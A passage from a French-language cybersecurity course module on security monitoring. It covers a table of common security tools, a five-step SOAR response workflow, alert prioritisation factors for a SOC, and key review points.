| Analyseur de protocoles | Capture et analyse detaillee du trafic | Capture le trafic et affiche l'activite reseau en detail (contenu des paquets, decodage des protocoles). Ex : Wireshark |
Outils de securite essentiels
| Outil | Categorie | Description |
|---|---|---|
| Helix | Investigation forensique | Suite d'outils d'investigation permettant d'identifier les preuves d'intrusion sur un systeme compromis |
| IDA Pro | Debogage / Reverse Engineering | Outil de debogage et d'analyse de malware — desassemblage et analyse statique de binaires |
| Socat | Creation de paquets | Outil de creation et manipulation de paquets pour le test de firewalls et la generation de trafic reseau |
| NetStumbler | Hacking wireless | Outil de decouverte de reseaux Wi-Fi — detection de points d'acces, force du signal, chiffrement utilise |
| Wireshark | Analyseur de protocoles | Capture et analyse du trafic reseau en temps reel avec decodage de centaines de protocoles |
| Splunk | SIEM proprietaire | Plateforme SIEM leader pour la collecte, l'analyse et la visualisation des logs de securite |
| RITA | Analyse de trafic | Real Intelligence Threat Analytics — detection de beaconing, tunneling DNS, long connections |
🤖 14.9 — SOAR — Workflow opérationnel
Le SOAR (Security Orchestration, Automation and Response) automatise les tâches répétitives du SOC. Un playbook SOAR typique suit un workflow en 5 étapes :
| Étape | Action | Exemple concret |
|---|---|---|
| 1. Trigger | Déclenchement automatique par une alerte SIEM ou un IoC | Alerte Snort : connexion vers un C&C connu |
| 2. Enrichissement | Collecte automatique de contexte depuis plusieurs sources | Requête VirusTotal, WHOIS, GeoIP, réputation de l'IP, historique de l'hôte |
| 3. Analyse | Corrélation et scoring automatique de la menace | Score de risque basé sur : criticité de l'asset + sévérité de l'alerte + contexte |
| 4. Réponse automatique | Actions de confinement automatisées (si le score dépasse le seuil) | Bloquer l'IP au firewall, isoler l'endpoint, désactiver le compte utilisateur |
| 5. Escalation | Notification et transfert à un analyste humain si nécessaire | Ticket créé dans le système de ticketing, notification Slack/email à l'analyste Tier 2 |
- Réduction du MTTR — Temps de réponse réduit de minutes/heures à secondes
- Cohérence — Chaque incident est traité selon le même processus documenté
- Scalabilité — Gérer des milliers d'alertes sans augmenter l'effectif
- Réduction de la fatigue d'alerte — Les analystes se concentrent sur les cas complexes
📊 14.10 — Priorisation des alertes
Un SOC reçoit des milliers d'alertes par jour. La priorisation permet de traiter d'abord les alertes qui représentent le risque le plus élevé pour l'organisation.
Facteurs de priorisation
| Facteur | Description | Impact sur la priorité |
|---|---|---|
| Criticité de l'asset | Importance du système affecté pour le business | Serveur de production > poste de développement |
| Sévérité de la vulnérabilité | Score CVSS de la vulnérabilité exploitée | CVSS 9.8 (Critical) > CVSS 4.0 (Medium) |
| Contexte de la menace | L'attaque est-elle ciblée ? L'IoC est-il récent ? | APT ciblée > scan automatisé |
| Fiabilité de la source | Confiance dans la source de l'alerte | Corrélation multi-sources > alerte isolée |
| Exposition | Le système est-il accessible depuis Internet ? | Serveur DMZ > serveur interne |
Un SIEM correctement configuré attribue automatiquement un score de priorité basé sur ces facteurs, permettant aux analystes de traiter les alertes dans l'ordre optimal.
📝 14.11 — Quiz de revision
Points cles du Module 14
- La surveillance securite est essentielle pour la detection precoce, la conformite, le forensics et l'amelioration continue
- Un SIEM collecte, normalise, correle et alerte sur les evenements de securite
- Les sources de logs (firewall, IDS, endpoints, auth, DNS...) fournissent des perspectives complementaires
- L'analyse de logs combine parsing, filtrage, correlation et timeline analysis
- Les IoC (artefacts connus) et les IoA (comportements en cours) sont complementaires pour la detection
- Le triage classe les alertes en true/false positive/negative et les priorise par severite
- L'alert fatigue est le plus grand defi des SOC — il faut tuner les regles pour minimiser les faux positifs
- Le principe fondamental : "You can't protect what you can't see"
- Le SOAR automatise le workflow : Trigger → Enrichissement → Analyse → Réponse → Escalation
- La priorisation des alertes combine : criticité de l'asset × sévérité × confiance